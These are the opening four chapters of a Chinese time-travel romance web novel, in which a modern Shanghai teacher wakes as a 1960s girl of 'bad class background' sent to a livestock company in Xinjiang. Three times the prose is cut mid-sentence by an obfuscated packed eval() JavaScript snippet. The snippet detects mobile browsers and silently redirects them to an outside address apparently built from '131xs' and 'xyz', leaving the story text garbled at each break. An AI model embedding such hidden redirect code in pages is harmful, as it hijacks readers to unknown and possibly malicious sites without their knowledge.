《穿到六零边疆当校长》 1. 第 1 章 陈年油脂和烟草腌渍过头的汗味,猛地窜进舒染的口鼻,她猝然惊醒,心脏狂跳。 视野昏暗模糊,只有眼前一片晃动的深蓝色。她用力眨了几下眼,才勉强聚焦。那是一件泛着油光的厚棉袄后背,离她的鼻尖不过几寸。 那棉袄浸透了那股挥之不去的复杂气味——汗酸、劣质旱烟燃烧后的辛辣、还有牲畜的膻腥,混合着闷罐车本身的锈蚀气息,一股脑儿塞满了她的鼻腔。 胃里的酸水不受控制地涌上喉咙口。舒染咬住后槽牙,硬生生把那翻江倒海的感觉压了回去。 不对。全都不对。 三天前,她还是上海重点中学的教师。每天下班踩着高跟鞋拐进咖啡馆,点上一杯热拿铁。虽不清闲但也安稳。 三天后,她却成了闷罐车里的一员——一个据说“成分不算好”的女知青。 属于舒染的都市人生,在21世纪戛然而止。而属于这个六十年代的记忆全部灌入她的脑海——曾经是资本家的娇小姐,念过几年师范,成分上似乎有点说不清道不明的麻烦。 最后,就是这张捏在她手心里几乎被汗水濡湿的报到通知单。 她低头,借着从车厢顶缝隙里漏进来的光线,看着通知单上“新疆生产建设兵团第x师x团畜牧连”那几个印刷的字,欲哭无泪。 刺耳的汽笛声突然响起,紧接着,身下传来一阵颠簸。哐当!哐当!铁轮碾过铁轨,发出尖锐的声响。 “到站了!到站了!第x师!下车的快点!”一个带着浓重口音的男声在车厢连接处吼了起来。 车厢瞬间活了过来。咒骂声、催促声、寻找行李的碰撞声、小孩被惊醒的啼哭声不绝于耳。 舒染只觉得身周那堵人墙开始松动、挤压、推搡起来。她被裹挟着,身不由己地向前移动。 那只死沉的红漆樟木箱子,是她在这个陌生时代唯一的财产,此刻成了最大的累赘。 箱子角撞在她的小腿骨上,疼得她倒抽一口冷气。旁边一个人的手肘又毫无察觉地撞到她腰上。 “让让!让让!别挡道啊!”有人不耐烦地在她身后嚷。 混乱中,舒染感觉自己的脚被谁踩了一下。她疼得下意识地缩脚。 就在这一刹那,一种极其轻微又突兀的异样感,从她外套侧面的口袋传来。 那口袋很深,是用旧列宁装改的。里面除了那张报到通知单,还有她临行前偷偷塞进去的几张全国粮票和几块钱,是她在这个世界安身立命的本钱。 就在她缩脚重心不稳的瞬间,一只手迅速从她那个深口袋里缩了回去。 舒染全身的汗毛都竖了起来。电光石火间,她甚至没看清那人的脸,只瞥见那迅速缩回人群的灰蓝色袖口一角。 “有小偷啊!”她脱口而出,声音因为紧张有些发颤。 无数道目光聚焦在她脸上。那个灰蓝色的袖口消失在人堆里。车厢里依旧拥挤不堪,推搡继续,她刚才那一声喊连水花都没溅起来。 舒染脸颊发烫。她紧紧攥着拳头。钱!那可是她的钱!没了那点钱,在这人生地不熟的地方寸步难行! 不行!不能就这么算了!她深吸一口气,强迫自己冷静。眼睛飞快地在周围几张挤挨着的脸上扫过。 左边是个抱着孩子的年轻媳妇,眼神怯生生的。右边是个满脸皱纹的老农。前面是那个油亮旧夹袄后背的主人,一个五大三粗的汉子,正不耐烦地回头瞪她,似乎在嫌她碍事。 都不像。 她的目光越过汉子厚实的肩膀,投向斜前方一个同样穿着灰蓝色工装、身形瘦小的背影。那人微微佝偻着,正费力地在人潮中往前挪动,动作显得有些僵硬和不自然。 舒染的心跳得飞快。赌一把! 她咬咬牙,趁着车厢又一个剧烈的晃动,整个人“哎呀”一声,装作被挤得站立不稳,猛地朝斜前方那个瘦小身影的方向踉跄扑去。右手顺势往前一探,带着全身的重量,狠狠地在那个灰蓝色袖口附近的手臂上掐了一把。 “哎哟!”一声痛呼响起。那个瘦小身影猛地回过头。 一张干瘦蜡黄、颧骨突出的脸。约莫三十多岁,眼神带着狡狯和凶戾。 就是这张脸!刚才挤在她侧面时,那双眼睛,曾不经意地扫过她鼓囊囊的口袋! “你干啥!”男人凶巴巴地低吼,眼神闪烁,下意识地想把手往身后藏。 周围的视线再次聚焦过来,大多是看戏的意味。 舒染站稳身体,大声嚷道:“同志,你刚才挤我干啥?把我口袋里的东西都挤掉了!” 她一边说,一边扫视男人的裤腿口袋。 男人眼神更慌了,色厉内荏地梗着脖子:“胡说!谁挤你了?自己站不稳怪谁?少诬赖好人!” “是不是诬赖,你心里清楚!”舒染寸步不让,“我那点钱和粮票,是我妈省吃俭用给我带着的!要是在这儿丢了,我就找领导!找保卫科!就不信没个说法!” 听到“保卫科”三个字,男人脸上的凶戾僵住了,眼神里满是慌乱。周围看热闹的目光也变得有些微妙,隐隐带着压力。 僵持只持续了几秒。男人剜了舒染一眼,飞快地把手伸进自己的裤兜里,胡乱掏了一把,然后用力往舒染脚边的地上一甩。 几张皱巴巴的纸片落在车厢地板上。 “哼!晦气!”男人啐了一口,趁舒染低头去看的瞬间,猛地一矮身,头也不回地钻进了前面更拥挤的人群,眨眼不见了踪影。 舒染的心脏还在狂跳,手心里全是冷汗。她飞快地蹲下身,一把抓起地上散落的纸片。 粮票是她的,钱……少了两张一块的。但万幸,最重要的报到通知单还在口袋里。 她死死攥着失而复得的丁点家当。周围的目光依旧复杂,甚至传来议论声:“小娘们儿还挺厉害”。 舒染没理会。她把粮票和钱小心地塞回那个深口袋。她慢慢站起来,腿还有点发软,但背却挺得笔直。 这地方,跟她熟悉的那座讲究体面、有警察有监控的都市,是彻彻底底的两个世界。 终于,前面的人流松动了一些,车厢门口的光线透了进来。 “快点!磨蹭啥呢!”门口维持秩序的吼声再次响起。 舒染深吸一口气,弯下腰,用尽全身力气拖起那只沉重的樟木箱子,咬着牙,一步一步跟着人流挪向车门。 一脚踏出车门,仿佛从一个密封的罐头掉进了巨大的风箱里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361276|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这地方,和她21世纪来新疆旅游时的感受完全不一样。 沙砾刮在她的脸上。脚下是盐碱板结的土地,裂缝如龟甲纹路般蔓延,其间挣扎着几丛骆驼刺,一簇红柳紧贴地面蜷曲着枝条。 一公里外,地窝子低矮的顶棚几乎与地面平齐,零星的土坯房旁停着沾满泥块的东方红拖拉机,生锈的犁铧半埋在沙土中。 忽然,风送来断续的歌声:“……祖国要我守边卡,扛起枪杆我就走……” 一群战士正拉犁开荒,军装后背结满盐霜。新挖的排碱渠旁,插着木牌标语:“不占群众一分田,戈壁滩上建花园!” 这就是新疆?六十年代的新疆? 舒染脑子里不合时宜地闪过外滩璀璨的灯火。精致、便利、体面……那些她习以为常的东西,在这里全变成了幻影。 她下意识地伸手去摸外套口袋,那里曾经习惯性地放着一包纸巾。指尖触到的只有粗糙的布料。她尴尬地收回手,用手背用力抹了抹脸。心里有个声音在尖叫:这是什么鬼地方!我要回去!必须回去! 就在这时,一阵急促的马蹄声由远及近,敲打在板结的盐碱地上。 舒染循声望去。 一匹枣红马正从沙尘中疾驰而来。马上的骑手伏低身体,娴熟地控着缰绳。转瞬之间,人马已冲到近前。 “吁——!”一声低喝。骑手勒紧缰绳。那匹枣红马前蹄高高扬起,带起一片沙尘,然后稳稳停住。鼻息喷出灼气,不安地踏着蹄子。 马背上的人直起身。 一身深蓝色制服,包裹着宽肩窄腰的线条。舒染只觉得那人的五官轮廓非常硬朗。 他翻身下马,长腿落地,激起一小股尘土,紧接着就牵着马,大步朝这走来。 他停在人群前几步远的地方,目光扫视着众人。 舒染下意识地站直,把那只死沉的樟木箱子往身边又拽了拽。 舒染感觉到那人的目光在她发红的脸颊、凌乱的头发、还有那只笨重箱子上掠过。 然后,他冲她开口:“姓名?” 舒染伸手去掏那张报到通知单。手指在深口袋里摸索了几下,才把那张皱巴巴的纸片抽了出来。 她往前递了一步,动作有些僵硬。 男人没接,垂下视线在那张纸上扫了一眼。 他抬起头,目光重新落在舒染脸上,清晰地报出了她的目的地:“舒染。畜牧连。” 说完又简洁地补上自己的身份:“陈远疆,师部特派员。我是来接你的。” 话音落下,他没等舒染作出反应,目光已经转向她脚边那个巨大的樟木箱子。 陈远疆上前一步。结果舒染手中的箱子提手。没见他怎么用力,那个让舒染拖得死去活来的箱子,就像一捆干草似的,被他稳稳当当地提离了地面。 “跟上。”陈远疆丢下两个字,声音依旧没什么起伏。 他一手提着箱子,一手牵着那匹枣红马,转身朝着团部方向走去。 舒染还僵在原地,手里捏着那张皱巴巴的报到单。 戈壁滩上的风吹散了她来自都市的体面。 她舔了舔起皮的嘴唇,深一脚浅一脚地追向前面的背影。 2. 第 2 章 陈远疆一手牵着马缰,另一只手提着那只樟木箱,脚步踩在板结的盐碱地上,每一步都带起一小股尘土。 舒染脚上那双从上海带来的半旧皮鞋,鞋底薄得可怜,每一次踩在石子上,都硌得脚生疼。 前面那个身影没有丝毫停顿的意思,舒染咬紧牙关强迫自己跟上。 她脑子里乱糟糟的,一会儿是办公室里同事的玩笑,一会儿是咖啡馆窗外的绿荫,一会儿又是闷罐车里那张蜡黄而凶戾的脸。 回上海?这个念头冒出来,又被眼前的景象掐断。怎么回去?凭什么回去?报到单上说的很清楚。她属于这里了,就算是到了关卡也会被遣返回来。 不知走了多久,视野里终于出现了成片的建筑。依旧是低矮的土坯房,但排列得相对整齐了些。几排高大的白杨树稀疏地立在房舍周围。 这就是团部了,比刚才下车的师部转运点规模要大些,但那份艰苦的环境没有改变。空气中混杂着牲口粪便、干草垛和尘土的味道,浓烈而原始。 房屋之间竖着几根架着电线的木杆子。几台拖拉机停在空地上,旁边堆着些麻袋和农具。一面褪了色的红旗在最大的那栋土坯房顶上飘扬着。 陈远疆将马拴在一根木桩上,那马立刻啃食起旁边干草。他提着箱子,径直走向一间门口挂着“团部接待处”木牌的土坯房。 舒染赶紧跟上,腿脚已经酸痛得有些发软。 “等着。”他丢下两个字,甚至没看舒染一眼,便掀开那块打着补丁的粗布门帘,走了进去。 舒染靠着墙根,几乎要瘫软下去。这才有空打量四周。团部比她想象的还要简陋。土坯墙被风沙打磨得坑坑洼洼,墙角堆着些看不出用途的废旧零件。 几个穿着褪色军装或深蓝工装的人匆匆走过,脸上都带着被风沙和日头长期侵蚀的痕迹。一个老汉蹲墙根下,眯着眼,慢悠悠地卷着莫合烟。 门帘再次掀开,陈远疆走了出来,身后跟着一个同样穿着深蓝制服、但身材微胖,面容和善的中年男人,手里拿着个登记本。 “小舒同志是吧?路上辛苦了!”中年男人开口,带着浓重的山东口音,脸上堆着笑,主动伸出手,“我姓张,张干事,管团里后勤接待这块儿。” 舒染连忙站直身体,有些局促地伸出手和他握了握。 “陈干事亲自去接你,这可是难得!一路骑马过来,够呛吧?”张干事转向陈远疆,语气里带着明显的熟稔。 舒染腹诽:哪里是骑马,明明是一路走来的。 陈远疆只是略一点头,算是回应。 张干事也不在意,自顾自地翻开登记本,拿出支秃了毛的毛笔,舔了舔笔尖,在墨盒里蘸了蘸:“来,小舒同志,先登记一下。姓名,年龄,籍贯,家庭成分……” 听到“家庭成分”四个字,舒染的心猛地一沉。属于这个身体原主的记忆翻涌上来——那个早已被时代洪流碾过的资本家家庭。 她喉咙发紧,声音有些干涩:“舒染……21岁……上海……家庭出身……资……”她说不下去了。 张干事脸上的笑容凝固了,握着毛笔的手也顿住了。 旁边一直沉默不语的陈远疆,眼眸深处似乎闪过什么,随即又恢复了沉静。他依旧没说话,只是那目光落在舒染身上,比刚才多了一层审视意味。 气氛微妙地凝滞了几秒。连墙根下抽烟的老汉也朝这边瞥了一眼。 张干事很快又堆起了笑容,提笔在登记本上刷刷写着:“哦,好,好。有文化就好!咱们建设边疆,就需要有知识有文化的青年!畜牧连正缺老师呢!对了,” 他像是想起什么,转向舒染,压低了点声音,带着点神秘和提醒的意味,“你知道接你的陈干事是谁吗?”他朝陈远疆那边努了努嘴。 舒染茫然地摇了摇头。 张干事声音更低了些,几乎是耳语:“陈干事可是师部保卫处的!正经的保卫干部!听说以前在师部是战斗英雄转业下来的,少数民族汉子,自己起的汉名叫陈远疆,厉害着呢!现在临时兼管一下新人的安置报到,顺便……” 他顿了顿,意味深长地看了舒染一眼,“顺带了解了解情况。” “保卫处”三个字,让舒染身体一僵,她瞬间明白了陈远疆身上那种不同寻常的冷硬从何而来。他不是普通的干部,他是专门对付……她脑子里嗡的一声。 她脸颊发烫,手心沁出了冷汗。她下意识地抬眼看向陈远疆。 陈远疆似乎完全没听到张干事的话,或者说毫不在意。他正微微侧身,目光投向团部大院入口的方向,仿佛在观察什么,又仿佛只是在等待。 侧脸的线条在戈壁午后的强光下显得愈发棱角分明。 师保卫处、战斗英雄、了解情况,这几个词在舒染脑海里盘旋。 张干事登记完毕,合上本子,对舒染说:“小舒同志,先去食堂吃点东西垫垫肚子吧,走了那么久的路。陈干事,您看……” 陈远疆终于收回目光,转向张干事,言简意赅:“连队拖拉机坏了。” 张干事一拍脑门:“哎哟!瞧我这记性!对对,老李头早上来说过,去畜牧连那台‘铁牛’趴窝了,摇把都差点撅折了也没发动起来,得等师部机修队派人来,估摸着得明后天了。” 他为难地搓着手,看向陈远疆,“陈干事,您看这……要不让小舒同志先在团部招待所凑合一晚?虽然条件也……” 陈远疆没等他说完,直接打断:“不必。”他的目光重新落在舒染身上,“我去畜牧连,顺路。收拾东西,半小时后门口出发。”说完,他不再看任何人,转身牵起他的枣红马,径直走向团部院子角落一个似乎是专门栓牲口的简陋棚子。 舒染僵在原地。还要跟他一起走?而且听这意思,还要走很久,似乎还要骑马。她看着那匹喷着响鼻的枣红马,只觉得一阵眩晕。 张干事显然也松了口气,又恢复了笑容:“哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361277|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,那中那中!有陈干事带着,稳妥!小舒同志,快,先去食堂!就在那边!”他热情地指了个方向。 团部的食堂同样是土坯房,比外面看起来更显昏暗。长长的条桌和条凳都泛着油光。 空气里弥漫着一股浓烈的味道——煮熟的包谷糊糊的甜腻、咸菜疙瘩的发酵味、牛羊油的膻气、还有汗味和烟草味混合在一起。 舒染端着个磕碰得坑坑洼洼的搪瓷碗,里面盛着半碗灰黄色的包谷糊糊,旁边放着一个拳头大小、颜色发黑的杂面馍馍,还有一小撮黑乎乎的咸菜丝。 她找了个角落坐下,几乎没什么胃口,用筷子搅动着碗里的糊糊。 食堂里人不少,大多是穿着工装或旧军装的男职工,也有几个女青年,都穿着绿军装或列宁装,皮肤黝黑,头发简单地扎着或剪成齐耳短发。她们大声说笑着,带着浓重的各地口音。 舒染身上那件虽然半旧但剪裁合体,料子明显不同的列宁装,略显白嫩的肤色,甚至她安静坐在角落的姿态,都与这里的环境格格不入。 很快,几道目光就落在了她身上,伴随着压低声音的议论。 “瞧见没?新来的?细皮嫩肉的……” “听说是个上海小姐?家里成分可不咋地……” “啧啧,今时不同往日了。” “穿得倒挺讲究,那衣服料子看着就不便宜……” “能顶用吗?别是个娇小姐,干两天活就得哭鼻子……” 舒染她低着头,假装专注地看着碗里的糊糊,脸颊却不受控制地发烫。她能感觉到那些目光在她身上逡巡,在她那件上海带来的列宁装上停留,在她放在桌边那个小巧的印着暗花的帆布提包上打转。 她甚至听到有人嗤笑了一声:“还带提包?当是来走亲戚呢!” 就在这时,一个扎着两条粗辫子的圆脸姑娘端着碗,大大咧咧地坐到了舒染对面,嗓门敞亮:“嘿!新来的?我叫王桂香!你叫啥?” 舒染抬起头,对上对方热情好奇的目光,勉强挤出一个笑容:“舒染。” “舒染?这名字好听!文绉绉的!上海来的吧?”王桂香毫不避讳地上下打量着她,“你这小脸白的!咋没晒黑呢?路上遭罪了吧?我跟你说,刚来都这样,过俩月,保管你跟俺们一样,黑里透红!”她自顾自地说着,咬了一大口馍馍,嚼得嘎吱作响。 舒染不知该如何接话,只能含糊地应着:“嗯,还好……” 王桂香的目光落在了舒染放在碗边的手上。眼中闪过惊讶和羡慕,又像是觉得不可思议。 “啧啧,你这手……”王桂香忍不住咂嘴,“一看就没干过活儿!嫩得能掐出水儿!” 旁边一个剪着齐耳短发女青年闻言,立刻转过头来,目光扫过舒染的手,又落在她那件列宁装上,嘴角撇了撇:“资本家的小姐嘛,可不就是十指不沾阳春水?细皮嫩肉,穿金戴银的。跑到咱这戈壁滩上,怕是连草纸都觉得糙吧?” 3. 第 3 章 这话让食堂里瞬间安静了不少,许多目光都聚焦过来,带着看戏的意味。王桂香也愣了一下,有些尴尬地看了看那个短发女青年,又看看舒染,没再说话。 舒染的脸颊烧得滚烫,她猛地站起身,动作太急,膝盖撞到了条凳,发出“哐当”一声响。所有人的目光都集中在她身上。 她瞪向那个短发女青年,对方也毫不示弱地回视着她,眼神充满挑衅。 “同志,”舒染啪地一下放下筷子,盯着短发女青年的眼睛,一字一顿地说:“我家里过去是做什么的,不由我选择。但我是响应号召,自愿报名来支边的。草纸糙不糙,我不知道,但我知道这里的建设需要人。手嫩,可以磨出茧子。活重,可以学着干。我既然来了,就没打算当逃兵。” 她顿了顿,目光扫过周围幸灾乐祸的脸,“至于穿什么衣服,是家里省吃俭用置办的,干干净净来建设边疆,没什么见不得人!” 她一口气说完,曾经在课堂上讲课的精气神仿佛又回来了。 那个短发女青年似乎没料到舒染会这样针锋相对地顶回来,一时语塞,脸色变了变,哼了一声扭过头去。王桂香则张大了嘴,有些惊讶地看着舒染。 陈远疆不知何时出现在了食堂门口。他显然听到了刚才的对话,他的目光扫过僵持的场面。没有说话,也没有任何表示,只是站在那里,食堂里就弥漫出一种无形的压力,让那些议论者彻底噤声。 舒染只觉得后背被一道目光盯着。她坐下三两口吃尽馍馍和咸菜,端起搅得凉下来的糊糊一饮而尽。反正心里的气出掉了,她也没吃亏,想到这里,她心里舒服了许多。 吃完饭,她无视所有人的目光,把餐具放回回收处,径直走向食堂外。 经过陈远疆身边时,她微微点头,算是打了招呼。 半小时后,团部门口。 那匹枣红马已经备好鞍鞯。陈远疆站在马旁,他手里除了自己的一个不大的行军背包,还拎着舒染那个巨大的樟木箱。 舒染看着那匹马,再看看陈远疆,一股绝望感涌上来。她要和他共乘一匹马?还要这样走半天? 陈远疆看出了她的迟疑,他利落地将樟木箱用一根粗麻绳捆扎结实,固定在马鞍的后部。然后翻身上马,一套动作行云流水。 他坐在马鞍前部,居高临下地看着舒染,声音听不出情绪:“上马。坐后面,扶稳。” 没有商量的余地,只有命令。 舒染看着那匹高大的马,看着它甩动的头颅和碗口大的蹄子,有些发怵。她咬咬牙,学着陈远疆的样子,抓住马鞍前桥,试图把脚踩进马镫。 但马镫对她来说太高了,试了几次都够不着,身体摇摇晃晃,狼狈不堪。 陈远疆就这么看着,没有伸手帮忙的意思。 最终,舒染几乎是手脚并用地爬了上去,姿势难看至极。 她刚在后鞍桥坐稳,马匹就因她的动作而烦躁地挪动了一下,吓得她低呼一声,下意识地抓住了前面陈远疆腰侧的武装带。 入手是坚硬的皮带扣和帆布皮带,以皮带下面骤然绷紧的腰腹肌肉。 陈远疆的身体明显僵硬了一瞬。他没有回头,只是沉声道:“扶好。我们要在天黑之前到。” “驾!”一声低喝,缰绳一抖。枣红马猛地向前一窜。巨大的惯性让舒染整个人向后仰去,她惊叫一声,双手死死抱住了前面的腰身。 隔着厚实的制服布料,男人身体的热度传来,带着一种野性气息。舒染的脸颊几乎贴在了他的后背上,她羞窘得恨不得立刻跳下去,可马匹已经开始奔跑。 戈壁滩的风刮过耳畔,身下是颠簸的马背,身前的腰背是唯一能让她不掉下去的存在。她只能死死抱着,闭紧双眼,把脸埋在他背后,试图隔绝这尴尬。 陈远疆策马奔驰,身体随着马匹的节奏起伏,他目视前方,下颌线紧绷。 背后紧贴的身躯,那双紧紧箍在他腰间的手臂,以及那细微的呼吸声,都清晰地传递过来。 这种感觉太过陌生,与他熟悉的战场、戈壁、任务都截然不同。他眉峰微蹙,一种异样感在心底一闪而过。 随即,他强迫自己将注意力集中在前方,身体更加挺直,与舒染刻意拉开了一点距离。 颠簸中,那只挂在马鞍旁、装着樟木箱的粗麻布褡裢,随着马匹的奔跑不停地晃动摩擦。不知是路途的颠簸太过剧烈,还是褡裢口原本就没系紧,在一次剧烈的上下起伏后,褡裢口猛地向下一沉。 只见樟木箱的一角从褡裢口滑了出来,紧接着,箱盖弹开了一条缝。一抹极柔软光泽,从箱盖的缝隙里滑落出来。 是一件丝绸睡衣!一半挂在箱子上,一半垂向地面! 舒染的脸一下变得惨白,她几乎要尖叫出来,下意识地就想伸手去捞。可身体在马背上根本无法保持平衡,手伸到一半就失去重心。 就在这电光火石之间,她感觉到前面的后背僵滞了一瞬。陈远疆握着缰绳的手臂微微收紧,控制着马匹稍稍放缓了速度。他微微低下头。 舒染僵在那里,一动不敢动。她能感觉陈远疆的目光在樟木箱上短暂地停留了一瞬。然后,那目光便移开了。 陈远疆什么也没说,腾出来的一只手,伸过去一把抓住那滑落的睡衣,看也没看,用力将它塞回了那个还在晃动的樟木箱里,然后重重地合上了箱盖。 做完这一切,他重新握紧缰绳,双腿一夹马腹。 “驾!” 枣红马再次加速,奔跑起来。褡裢口被那件睡衣塞住,樟木箱不再滑出,随着马匹的奔跑晃动着。 马背上的时间漫长而煎熬。舒染感觉自己全身的骨头都快被颠散了架。最初的尴尬过后,只剩下疲惫和麻木。她不敢松手,只能紧紧抱着前面的人。 她脸上身上沾满了尘土。口渴得像火烧,嘴唇干裂出血口子。屁股和大腿内侧被马鞍磨得火辣辣地疼。 陈远疆中途只停下过一次,让马饮水休息片刻。他从自己的行军水壶里倒出小半杯水递给舒染。 舒染也顾不上什么形象,接过来一饮而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361278|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽,那点带着铁锈味的冷水如同甘霖。 陈远疆自己则直接对着水壶口喝了几大口。他沉默地看着舒染干裂的嘴唇和狼狈的样子,眼神依旧充满了审视。 太阳西沉,将戈壁滩染成一片苍凉的金红。就在舒染觉得自己快要撑不住的时候,前方荒原的地平线上,终于出现了一片更为稀疏低矮的轮廓。 舒染到近处才发现那是一些微微凸起的土包和低矮的土墙。 “到了。”陈远疆的声音被风吹过来。 舒染揉了揉疲惫的双眼,看向那片所谓的畜牧连。 比团部更甚的荒凉感扑面而来。 没有整齐的房屋,只有零星几间同样低矮的土坯房散落着,更多的是一种半埋在地下的建筑。舒染曾经听说过,这种建筑叫做“地窝子”。 由于环境艰苦资源匮乏,它们只露出不到半米高的土墙和倾斜的、覆盖着苇草和泥巴的屋顶。 几排稀疏细弱的小树苗被栽在连队周围,充当着聊胜于无的防风林。空气中弥漫的牲口粪便味、干草发酵的气息、尘土腥气更加浓烈。 视野尽头,是一望无际的荒原戈壁,在夕阳下呈现出一种辽阔与死寂。 枣红马在一排地窝子前停下。陈远疆利落地翻身下马,解开捆着樟木箱的绳索。 舒染几乎是手脚并用地从马背上滑下来,她扶着马鞍,勉强站稳。 陈远疆解开褡裢,将那只沉重的樟木箱提了出来,放在舒染脚边。他指了指一间门口挂着“连部”木牌的土坯房:“去那里报到,找连长。他会安排。” 舒染点点头,嗓子干得发不出声音。 陈远疆不再看她,牵着马缰,转身就朝连部旁边一间更不起眼的土坯房走去。 那房子的门楣上,似乎用粉笔画着一个什么特殊的符号。他推门进去,身影消失在昏暗的门洞里。 舒染看着那扇关上的木门,又低头看看脚边沾满泥污的樟木箱,鼓起最后一点力气,拖着箱子走向连部的门口。 连长是个皮肤黝黑的中年汉子,姓马,说话带着浓重的甘肃口音,嗓门洪亮。他显然已经知道舒染的来历和成分,态度不算热情,但也说不上冷漠。 “哦,舒染同志是吧?畜牧连欢迎你!”马连长在油灯下翻看着她的报到材料,“文化人好啊!咱们连队娃娃多,正缺老师!不过嘛,”他放下材料,看着舒染,“咱们这条件艰苦,你也看到了。你是城里来的,又是……呃,这个情况,”他含糊了一下成分,“思想上要有准备,生活上更要克服困难!先安顿下来。你的工作安排,找生产主任赵卫东同志,他具体管。” 马连长很快开好了一张条子,递给舒染,指了个方向:“喏,女同志宿舍,三号地窝子,拿着这个去找周巧珍同志,她是宿舍长。” 舒染接过那张纸条,道了谢,走出连部。天光已经暗下来,戈壁的夜晚寒气逼人。 她借着天上稀疏的星光,辨认着方向,艰难地拖着箱子走向连长指示的区域——那一片地势更低洼的地窝子群落。 4. 第 4 章 舒染找到连长纸条上写的那个编号的地窝子。 地窝子的入口,是一个向下倾斜的土坡,挖了几级土台阶。入口处挂着一块脏得看不出颜色的破毡子,算是门帘。 舒染站在入口前,看着那黑洞洞的入口,深吸一口气,掀开了那块破毡子。 浓重的土腥气扑面而来。里面没有灯,一片漆黑,只有入口透进来的微弱星光,勉强勾勒出内部的轮廓。 这是一个狭长低矮的空间。高度勉强能让人直起腰,但像陈远疆那样高大的人进来,恐怕得低着头。 两边是简易的大通铺,第一层铺着厚厚的麦草和芦苇,最上面铺的是草席。 地窝子深处传来几声窸窸窣窣的声音。 “谁啊?”一个带着四川口音的女声警惕地问道。 “我是新来的,舒染。连长让我找周巧珍。”舒染的语气不卑不亢。 一阵摸索声,接着是“嗤啦”一声,一根火柴被擦亮。火苗照亮了一张年轻的脸。她举着火柴,点燃了挂在土壁上一个小铁罐里的灯芯,那是用墨水瓶改成的简易煤油灯。 昏黄摇曳的光线勉强照亮了地窝子里的景象。 灯光下,只见炕上坐着、躺着几个女子。她们大多穿着灰扑扑的打满补丁的旧军装或粗布衣服,脸上带着疲惫,皮肤粗糙,头发干枯。 看到舒染和她脚边的红漆樟木箱,以及她身上虽然脏了但明显质料不同的列宁装,所有人的目光都聚焦过来。 一个短发女青年举着煤油灯走过来,正是团部食堂里那个对她出言讽刺的周巧珍。 她上下打量了舒染一番,目光在她精致的列宁装和皮鞋上停留片刻,眉头微微蹙起,鼻子里发出一声轻哼。连招呼也没打,扭头就回到了自己的位置。 倒是靠近里面一点,一个面容朴实的大姐站了起来,脸上带着局促的笑:“是新来的同志吧?快进来!这门口漏风,冷!” 她热情地指着通铺上一个空位,“喏,就那儿,挨着周巧珍。地方窄,大家挤挤。”她说着,还主动想帮舒染把箱子往里挪。 “王大姐,瞎忙活啥?”周巧珍头也不抬,冷冷地开口,“人家资本家小姐,金贵着呢,用得着你帮忙?别碰脏了人家的好东西。” 王大姐的手尴尬地停在了半空,脸上的笑容凝固了。 舒染没理会周巧珍的冷嘲热讽,对王大姐勉强笑了笑:“谢谢大姐,我自己来。”她把樟木箱拖到了入口的一个角落。 那个位置连褥子都没有,显然是临时加出来的。 王大姐看了看舒染,又看了看周巧珍,继续伸手帮忙,帮舒染把箱子推到那个角落,一入手,就被那分量惊得“哎哟”一声,“我的娘嘞!这啥呀这么沉!快,放这儿!” “谢谢。”舒染低声道谢。 舒染深吸一口气,弯下腰,打开了樟木箱的铜锁扣。 箱子里的东西暴露在煤油灯光下:颜色鲜亮的各式衣物、柔软的绸缎睡衣、一个镶嵌着精致花纹的小圆镜、两盒“友谊”牌雪花膏;还有几本厚厚的书籍…… 空气仿佛凝固了。 一直低头缝补的周巧珍都停下了手中的针线,盯着那件丝绸睡衣和小圆镜上,眼神复杂。 角落里,一个年纪看起来很小的圆脸姑娘,大约十七八岁,看了舒染一眼,蹦下床走到舒染面前,笑呵呵地说:“舒染姐姐,我是李秀兰,江西来的。” 说着,她忍不住转过头,目光在那盒雪花膏上流连,“这些东西真精致啊……” 王大姐则是张大了嘴,眼睛瞪得溜圆,满是不可思议。 舒染冲李秀兰笑笑,从箱子里拿出一张印着玉兰花的棉布床单,抖开铺在自己床位的草席上。 地窝子里的第一夜,漫长且难熬。 身下的麦草和芦苇垫子粗粝无比,每一次翻身都又扎又硌的。 空气里弥漫着浓重的土腥味和汗味,还有煤油灯燃烧后残留的焦味。 周巧珍那边早已响起鼾声,王大姐也睡沉了,李秀兰偶尔发出梦呓。唯有舒染,望着头顶的土拱顶。 一丝微弱的光线,从入口那块破毡子没能完全遮严的缝隙里透进来,才能让舒染看得清周遭的轮廓。 这就是她的新生活,让人浑身难受。 21世纪的美好生活已经遥不可及。 要不试着回上海?一想到报到单上“服从分配”四个字她就绝望。没有正当理由,她连团部都出不去。硬闯?无垠的戈壁滩能让她命丧狼口。 而且,她毫不怀疑,那个叫陈远疆的男人,有一百种办法让她安分。 